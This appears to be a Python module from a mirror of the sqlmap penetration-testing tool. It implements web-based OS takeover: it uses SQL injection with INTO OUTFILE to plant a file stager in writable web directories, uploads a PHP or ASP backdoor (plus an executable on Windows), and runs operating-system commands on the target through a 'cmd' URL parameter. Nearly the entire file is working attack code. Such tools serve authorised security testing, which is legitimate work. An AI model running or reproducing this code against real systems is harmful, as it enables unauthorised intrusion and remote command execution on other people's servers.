mirror of
https://github.com/sqlmapproject/sqlmap.git
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246 lines
9.1 KiB
Python
246 lines
9.1 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import codecs
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import os
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import posixpath
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import re
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from extra.cloak.cloak import decloak
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from lib.core.agent import agent
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from lib.core.common import decloakToNamedTemporaryFile
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from lib.core.common import getDirs
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from lib.core.common import getDocRoot
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from lib.core.common import ntToPosixSlashes
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from lib.core.common import isWindowsDriveLetterPath
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from lib.core.common import normalizePath
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from lib.core.common import posixToNtSlashes
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.convert import hexencode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.exception import sqlmapUnsupportedDBMSException
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from lib.core.shell import autoCompletion
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from lib.request.connect import Connect as Request
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class Web:
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"""
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This class defines web-oriented OS takeover functionalities for
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plugins.
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"""
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def __init__(self):
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self.webApi = None
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self.webBaseUrl = None
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self.webBackdoorUrl = None
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self.webStagerUrl = None
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self.webDirectory = None
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def webBackdoorRunCmd(self, cmd):
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if self.webBackdoorUrl is None:
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return
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output = None
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if not cmd:
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cmd = conf.osCmd
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cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
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page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
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if page is not None:
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output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
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if output:
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output = output.group(1)
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return output
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def webFileUpload(self, fileToUpload, destFileName, directory):
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inputFP = codecs.open(fileToUpload, "rb")
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retVal = self.__webFileStreamUpload(inputFP, destFileName, directory)
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inputFP.close()
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return retVal
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def __webFileStreamUpload(self, stream, destFileName, directory):
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stream.seek(0) # Rewind
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if self.webApi in ("php", "asp"):
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multipartParams = {
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"upload": "1",
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"file": stream,
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"uploadDir": directory,
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}
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page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
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if "File uploaded" not in page:
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warnMsg = "unable to upload the backdoor through "
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warnMsg += "the file stager on '%s'" % directory
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logger.warn(warnMsg)
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return False
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else:
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return True
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elif self.webApi == "jsp":
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return False
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def __webFileInject(self, fileContent, fileName, directory):
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outFile = posixpath.normpath("%s/%s" % (directory, fileName))
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uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\') if kb.os == "Windows" else directory)
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query = "LIMIT 1 INTO OUTFILE '%s' " % outFile
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query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
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query = agent.prefixQuery(query)
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query = agent.postfixQuery(query)
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payload = agent.payload(newValue=query)
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page = Request.queryPage(payload)
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return page
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def webInit(self):
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"""
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This method is used to write a web backdoor (agent) on a writable
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remote directory within the web server document root.
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"""
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if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
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return
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self.checkDbmsOs()
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infoMsg = "trying to upload the file stager"
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logger.info(infoMsg)
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message = "which web application language does the web server "
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message += "support?\n"
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message += "[1] ASP%s\n" % (" (default)" if kb.os == "Windows" else "")
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message += "[2] PHP%s\n" % ("" if kb.os == "Windows" else " (default)")
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message += "[3] JSP"
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while True:
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choice = readInput(message, default="1" if kb.os == "Windows" else "2")
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if not choice or choice == "2":
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self.webApi = "php"
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break
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elif choice == "1":
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self.webApi = "asp"
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break
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elif choice == "3":
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errMsg = "JSP web backdoor functionality is not yet "
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errMsg += "implemented"
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raise sqlmapUnsupportedDBMSException(errMsg)
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elif not choice.isdigit():
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logger.warn("invalid value, only digits are allowed")
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elif int(choice) < 1 or int(choice) > 3:
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logger.warn("invalid value, it must be 1 or 3")
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kb.docRoot = getDocRoot(self.webApi)
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directories = getDirs(self.webApi)
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directories = list(directories)
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directories.sort()
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backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
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backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
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originalBackdoorContent = backdoorContent = backdoorStream.read()
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stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
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stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
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for directory in directories:
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# Upload the file stager
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self.__webFileInject(stagerContent, stagerName, directory)
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requestDir = ntToPosixSlashes(directory)
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if requestDir[-1] != '/':
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requestDir += '/'
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requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), "/")
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if isWindowsDriveLetterPath(requestDir):
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requestDir = requestDir[2:]
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requestDir = normalizePath(requestDir).replace("//", "/")
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if requestDir[0] != '/':
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requestDir = '/' + requestDir
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self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
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self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
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self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace("./", "/"))
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uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
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if "sqlmap file uploader" not in uplPage:
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warnMsg = "unable to upload the file stager "
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warnMsg += "on '%s'" % directory
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logger.warn(warnMsg)
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continue
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infoMsg = "the file stager has been successfully uploaded "
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infoMsg += "on '%s' ('%s')" % (directory, self.webStagerUrl)
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logger.info(infoMsg)
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if self.webApi == "asp":
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runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
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runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
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match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
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if match:
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backdoorDirectory = match.group(1)
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else:
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continue
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backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
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backdoorStream.file.truncate()
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backdoorStream.read()
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backdoorStream.seek(0)
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backdoorStream.write(backdoorContent)
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if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
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self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
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self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName)
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self.webDirectory = backdoorDirectory
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else:
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continue
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else:
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if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory):
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warnMsg = "backdoor has not been successfully uploaded "
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warnMsg += "with file stager probably because of "
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warnMsg += "lack of write permission."
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logger.warn(warnMsg)
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message = "do you want to try the same method used "
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message += "for the file stager? [y/N] "
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getOutput = readInput(message, default="N")
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if getOutput in ("y", "Y"):
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self.__webFileInject(backdoorContent, backdoorName, directory)
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else:
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continue
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self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
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self.webDirectory = directory
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infoMsg = "the backdoor has probably been successfully "
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infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
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infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
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logger.info(infoMsg)
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break
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